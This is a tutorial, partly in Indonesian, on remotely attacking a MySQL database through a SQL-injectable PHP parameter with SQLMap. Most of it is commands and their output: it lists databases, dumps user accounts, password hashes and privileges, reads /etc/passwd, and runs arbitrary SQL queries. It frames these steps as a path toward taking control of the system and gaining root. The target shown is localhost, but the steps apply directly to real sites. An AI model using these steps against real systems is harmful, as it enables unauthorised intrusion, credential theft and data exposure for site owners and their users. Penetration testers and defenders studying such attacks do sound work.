SQLMap: Contoh cara remote hack database

Misalnya, kita memperoleh URL yang vulnerable adalah,

http://localhost/weak.php?id=10

dimana parameter id tidak escape secara benar di code php dan vulner sql injection. Perintah untuk me-list semua database yang ada di server tersebut adalah,

$ python ./sqlmap.py -u "http://localhost/weak.php?id=10" --dbs

Kemudian gunakan opsi -T --columns dan --dump untuk melihat table yang ada di sebuah database, kolom dari tabel, data yang ada di tabel dan seterusnya.

Fingerprinting remote system dan database-nya

Untuk melihat informasi lebih lanjut tentang database yang ada di sistem remote, kita dapat menggunakan opsi "-b". Ini akan berusaha untuk meng-ekstrak banner dari server database. Jika kita coba terhadap database mysql, akan tampak sebagai berikut,

$ python sqlmap.py -u "http://localhost/weak.php?id=10" -b

.....

[11:19:51] [INFO] the back-end DBMS is MySQL
[11:19:51] [INFO] fetching banner
[11:19:51] [WARNING] running in a single-thread mode. Please consider usage  of option '--threads' for faster data retrieval
[11:19:51] [INFO] retrieved: 5.1.61
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
banner:    '5.1.61'

Output dari banner text adalah "5.1.61". Ini adalah mysql banner dan tampak jelas terlihat dari versi mysql yang digunakan. Selanjutnya, kita dapat mencari di Google vulnerability yang mungkin ada untuk versi mysql tersebut.

Perintah selanjutnya, mengambil daftar user dan role / fungsinya, menggunakan perintah berikut,

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10

..........

database management system users [5]:
[*] @'localhost'
[*] @'localhost.localdomain'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'localhost.localdomain'

.............

database management system users password hashes:
[*]  [1]:
    password hash: NULL
[*] root [2]:
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    password hash: NULL

........

[*] %root% (administrator) [27]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE 

Getting the current user, current database and hostname information

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10
........
[11:32:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Red Hat Enterprise 6 (Santiago)
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[11:32:33] [INFO] fetching current user
[11:32:33] [INFO] retrieving the length of query output
[11:32:33] [INFO] retrieved: 14
[11:32:38] [INFO] retrieved: root@localhost             
current user:    'root@localhost'
[11:32:38] [INFO] fetching current database
[11:32:38] [INFO] retrieving the length of query output
[11:32:38] [INFO] retrieved: 5
[11:32:40] [INFO] resumed: profile_data
current database:    'profile_data'
[11:32:40] [INFO] fetching server hostname
[11:32:40] [INFO] retrieving the length of query output
[11:32:40] [INFO] retrieved: 21
[11:32:48] [INFO] retrieved: localhost.localdomain             
hostname:    'localhost.localdomain'
[11:32:48] [INFO] testing if current user is DBA
[11:32:48] [INFO] fetching current user
current user is DBA:    False

So in the above output we have the current user, current database, the hostname.

Reading a system file

On mysql if the database user has permission to the FILE operation, then it can read files from the file system. It can read only those files that are publicly readable or readable by the mysql user. Here is a quick example to read the /etc/passwd file.

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10

sqlmap will store the file in its directory on the local file system, so that it can be read later.

Run arbitrary sql command

The sql-query option can be used to run arbitrary sql queries on the database.

$ python sqlmap.py -u "http://localhost/weak.php?id=10" --sql-query="select now();"

...........

[11:50:22] [INFO] retrieved: 2013-04-15 11:51:10
select now();:    '2013-04-15 11:51:10'

The last line in the output is the sql query output which was run on the remote database.

Conclusion

So with all the above information it gets easier to get further into the system and eventually take control of it, if possible. Sqlmap does quite a massive task by discovering the database, the data and details about the operating system. But in most cases it might not able to fully provide control of the remote system in the form of a shell.

Further techniques need to be employed to get greater control of the system and eventually root. We shall be discussing those in upcoming tutorials.

Referensi

• http://www.binarytides.com/hack-remote-database-sqlmap/